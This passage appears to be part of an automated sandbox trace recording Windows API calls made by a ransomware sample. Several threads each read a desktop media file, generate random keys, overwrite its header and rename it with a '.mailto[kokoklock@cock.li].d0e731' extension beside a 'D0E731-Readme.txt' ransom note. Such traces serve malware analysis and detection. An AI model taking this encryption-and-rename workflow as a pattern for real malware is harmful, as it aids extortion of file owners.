lpBuffer=0x128bf9ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x128bf994, lpOverlapped=0x0 | out: lpBuffer=0x128bf9ac*, lpNumberOfBytesWritten=0x128bf994*=0x4, lpOverlapped=0x0) returned 1 [0069.778] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x128bf994, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x128bf994*=0x4, lpOverlapped=0x0) returned 1 [0069.779] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x128bf994, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x128bf994*=0x6c, lpOverlapped=0x0) returned 1 [0069.779] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x128bf994, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x128bf994*=0x20, lpOverlapped=0x0) returned 1 [0069.779] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x128bf994, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x128bf994*=0x4, lpOverlapped=0x0) returned 1 [0069.779] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.779] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.779] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc58) returned 1 [0069.779] CloseHandle (hObject=0x774) returned 1 [0070.917] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347bd38 [0070.917] wcscpy (in: _Dest=0x347bd38, _Source="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4") returned="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4" [0070.917] wcscat (in: _Dest=0x347bd38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731" [0070.917] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\0wq9p__q.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\0wq9p__q.mp4.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.990] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.990] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bd38) returned 1 [0070.990] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4", dwFileAttributes=0x20) returned 0 [0070.990] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.990] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.990] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.990] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431048) returned 1 [0070.991] RtlExitUserThread (Status=0x1) Thread: id = 439 os_tid = 0xf78 [0069.783] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\a9debidx78xhyffcflnc.gif")) returned 0x20 [0069.783] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif", dwFileAttributes=0x20) returned 1 [0069.783] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\a9debidx78xhyffcflnc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.783] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x1293fadc | out: lpFileSize=0x1293fadc*=40342) returned 1 [0069.784] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x9d92, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.784] ReadFile (in: hFile=0x774, lpBuffer=0x1293fab0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1293faac, lpOverlapped=0x0 | out: lpBuffer=0x1293fab0*, lpNumberOfBytesRead=0x1293faac*=0x4, lpOverlapped=0x0) returned 1 [0069.784] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.784] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.784] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.784] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc58 [0069.784] NtQuerySystemTime (in: CurrentTime=0x1293fa88 | out: CurrentTime=0x1293fa88*=132121176276817228) returned 0x0 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x80cb3872 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0xd5432df0 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0xa8218506 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x5866654c [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x1a3f55cd [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x8ac5eb42 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x33eedaa3 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x3df0ba5e [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x4462bd36 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x2108604a [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x3edde0b2 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x5013ebb [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x6016c404 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x7905a39d [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0xb76145c4 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x872b424a [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x747b0009 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x5d7ea4f0 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0xd31aa364 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0xe3ac645a [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x43e6d7e7 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x2ff8944b [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0xa51ace3e [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x4c23033d [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x67677958 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x6cb1b9ec [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x4cc841a4 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x2078be17 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0xaefea6a0 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x9694eddd [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0x5a9fa4a0 [0069.785] RtlRandom (in: Seed=0x1293fa94 | out: Seed=0x1293fa94) returned 0xe4692c25 [0069.796] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.796] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1293fa60, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1293fa60*=0x4096, lpOverlapped=0x0) returned 1 [0069.797] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.797] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.797] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.797] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.797] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.798] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.798] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.798] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bca8 [0069.798] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bca8) returned 1 [0069.798] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.798] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.798] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1293fa60, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1293fa60*=0x4096, lpOverlapped=0x0) returned 1 [0069.798] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.798] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x9d96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.798] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1293fa98, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x1293fa98*=0x20, lpOverlapped=0x0) returned 1 [0069.798] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0069.798] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.798] WriteFile (in: hFile=0x774, lpBuffer=0x342bc80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1293faac, lpOverlapped=0x0 | out: lpBuffer=0x342bc80*, lpNumberOfBytesWritten=0x1293faac*=0x8, lpOverlapped=0x0) returned 1 [0069.799] WriteFile (in: hFile=0x774, lpBuffer=0x1293fac4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1293faac, lpOverlapped=0x0 | out: lpBuffer=0x1293fac4*, lpNumberOfBytesWritten=0x1293faac*=0x4, lpOverlapped=0x0) returned 1 [0069.799] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1293faac, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1293faac*=0x4, lpOverlapped=0x0) returned 1 [0069.799] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1293faac, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1293faac*=0x6c, lpOverlapped=0x0) returned 1 [0069.799] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1293faac, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x1293faac*=0x20, lpOverlapped=0x0) returned 1 [0069.799] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1293faac, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1293faac*=0x4, lpOverlapped=0x0) returned 1 [0069.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc80) returned 1 [0069.799] CloseHandle (hObject=0x774) returned 1 [0070.917] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33ce9d8 [0070.917] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif") returned="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif" [0070.917] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731" [0070.917] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\a9debidx78xhyffcflnc.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\a9debidx78xhyffcflnc.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.989] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.989] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0070.989] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif", dwFileAttributes=0x20) returned 0 [0070.989] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.989] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.989] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.989] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.989] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.989] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347df50) returned 1 [0070.989] RtlExitUserThread (Status=0x1) Thread: id = 440 os_tid = 0xa90 [0069.803] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\b-j69ri1ladazjye1u.flv")) returned 0x20 [0069.803] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv", dwFileAttributes=0x20) returned 1 [0069.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\b-j69ri1ladazjye1u.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.804] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x129bf8d4 | out: lpFileSize=0x129bf8d4*=92856) returned 1 [0069.804] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x16ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.804] ReadFile (in: hFile=0x774, lpBuffer=0x129bf8a8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x129bf8a4, lpOverlapped=0x0 | out: lpBuffer=0x129bf8a8*, lpNumberOfBytesRead=0x129bf8a4*=0x4, lpOverlapped=0x0) returned 1 [0069.804] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc80 [0069.804] NtQuerySystemTime (in: CurrentTime=0x129bf880 | out: CurrentTime=0x129bf880*=132121176276973374) returned 0x0 [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x66ec88b7 [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0xfcf1bdc8 [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x952b4fb4 [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x8c7df5c9 [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x347eb1e8 [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x747e60e7 [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0xf88dfb32 [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0xb81755f4 [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0xd93b00d5 [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0xb5375dd [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x94aeb48a [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0xa26df2df [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x159cd951 [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x91b72218 [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x17f0cc4c [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x9fa6ef7 [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x29793e86 [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0xe6ed3bac [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x41dda8f9 [0069.804] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x27559981 [0069.805] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0xc43e911c [0069.805] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x23c72d1a [0069.805] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0xe3f6e517 [0069.805] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x5dba65ef [0069.805] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x1512fa02 [0069.805] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x85028d8a [0069.805] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x5bff7deb [0069.805] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x8f40d1ad [0069.805] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0xeb65a58a [0069.805] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0xd95e43f1 [0069.805] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0xbbee3d53 [0069.805] RtlRandom (in: Seed=0x129bf88c | out: Seed=0x129bf88c) returned 0x666184b3 [0069.816] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.816] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x129bf858, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x129bf858*=0x4096, lpOverlapped=0x0) returned 1 [0069.816] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.816] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.816] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.816] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.816] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.817] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.817] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.817] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bcd0 [0069.817] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bcd0) returned 1 [0069.817] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.817] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.817] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x129bf858, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x129bf858*=0x4096, lpOverlapped=0x0) returned 1 [0069.817] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.817] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x16ab8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.817] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x129bf890, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x129bf890*=0x20, lpOverlapped=0x0) returned 1 [0069.817] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0069.817] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.817] WriteFile (in: hFile=0x774, lpBuffer=0x342bca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x129bf8a4, lpOverlapped=0x0 | out: lpBuffer=0x342bca8*, lpNumberOfBytesWritten=0x129bf8a4*=0x8, lpOverlapped=0x0) returned 1 [0069.817] WriteFile (in: hFile=0x774, lpBuffer=0x129bf8bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x129bf8a4, lpOverlapped=0x0 | out: lpBuffer=0x129bf8bc*, lpNumberOfBytesWritten=0x129bf8a4*=0x4, lpOverlapped=0x0) returned 1 [0069.818] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x129bf8a4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x129bf8a4*=0x4, lpOverlapped=0x0) returned 1 [0069.818] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x129bf8a4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x129bf8a4*=0x6c, lpOverlapped=0x0) returned 1 [0069.818] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x129bf8a4, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x129bf8a4*=0x20, lpOverlapped=0x0) returned 1 [0069.818] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x129bf8a4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x129bf8a4*=0x4, lpOverlapped=0x0) returned 1 [0069.818] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.818] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.818] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bca8) returned 1 [0069.818] CloseHandle (hObject=0x774) returned 1 [0070.918] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e6330 [0070.918] wcscpy (in: _Dest=0x33e6330, _Source="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv") returned="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv" [0070.918] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731" [0070.918] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\b-j69ri1ladazjye1u.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\b-j69ri1ladazjye1u.flv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.987] SetFileAttributesW 